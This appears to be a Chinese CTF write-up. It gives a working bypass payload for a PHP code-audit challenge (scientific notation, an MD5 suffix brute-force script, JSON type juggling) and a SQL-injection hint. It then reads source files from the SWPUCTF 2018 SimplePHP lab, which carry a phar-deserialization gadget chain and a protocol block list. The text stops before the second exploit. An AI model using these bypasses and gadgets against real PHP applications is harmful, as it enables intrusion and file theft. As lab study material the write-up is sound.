1、代码审计

 <?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;

$a = $_GET['a'];
$b = $_GET['b'];

if(isset($a) && intval($a) > 6000000 && strlen($a) <= 3){
    if(isset($b) && '8b184b' === substr(md5($b),-6,6)){
        $key1 = 1;
        }else{
            die("Emmm...再想想");
        }
    }else{
    die("Emmm...");
}

$c=(array)json_decode(@$_GET['c']);
if(is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022){
    if(is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])){
        $d = array_search("DGGJ", $c["n"]);
        $d === false?die("no..."):NULL;
        foreach($c["n"] as $key=>$val){
            $val==="DGGJ"?die("no......"):NULL;
        }
        $key2 = 1;
    }else{
        die("no hack");
    }
}else{
    die("no");
}

if($key1 && $key2){
    include "Hgfks.php";
    echo "You're right"."\n";
    echo $flag;
}

?> 

payload：a=9e9&b=53724&c={"m":"2023%20","n":[[1,2],0]}

a参数：科学计数法绕过

php处理字符串时存在一个缺陷问题，如果字符串为“1e1”，本该是一个正常的字符串，但是php会将它认为是科学计数法里面的e；

也就是按照数学的科学计数法来说：1e1=10^1=10，因此php会把这个字符串里面的1e1进行科学计数法计算，得出来就为“10”，即遇到“0e212”这些字符串直接看作为“0”

b参数：脚本

<?php
$a = 0;
while(1){
	if('8b184b' === substr(md5($a),-6,6)){
		echo $a."--";	
	}
	$a++;	
	if($a>10000000){
		break;
	}
}
?>

c参数：is_numeric函数绕过

is_numeric() 函数会判断如果是数字和数字字符串则返回 TRUE，否则返回 FALSE,且php中弱类型比较时，会使('1234a' == 1234)为真，或者'12345%00'，该函数还可能造成sql注入，例如将‘1 or 1'转换为16进制形式，再传参，就可以造成sql注入

2、代码审计-反序列化[SWPUCTF 2018]SimplePHP 1

靶场图片：上传文件无法利用，他把文件重命名了

上传文件无法利用，他把文件重命名了

利用查看文件接口，读取源码：http://5d344aae-b716-49fe-9f6a-dca2848936a4.node4.buuoj.cn:81/file.php?file=file.php

file.php源码：

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

 <?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>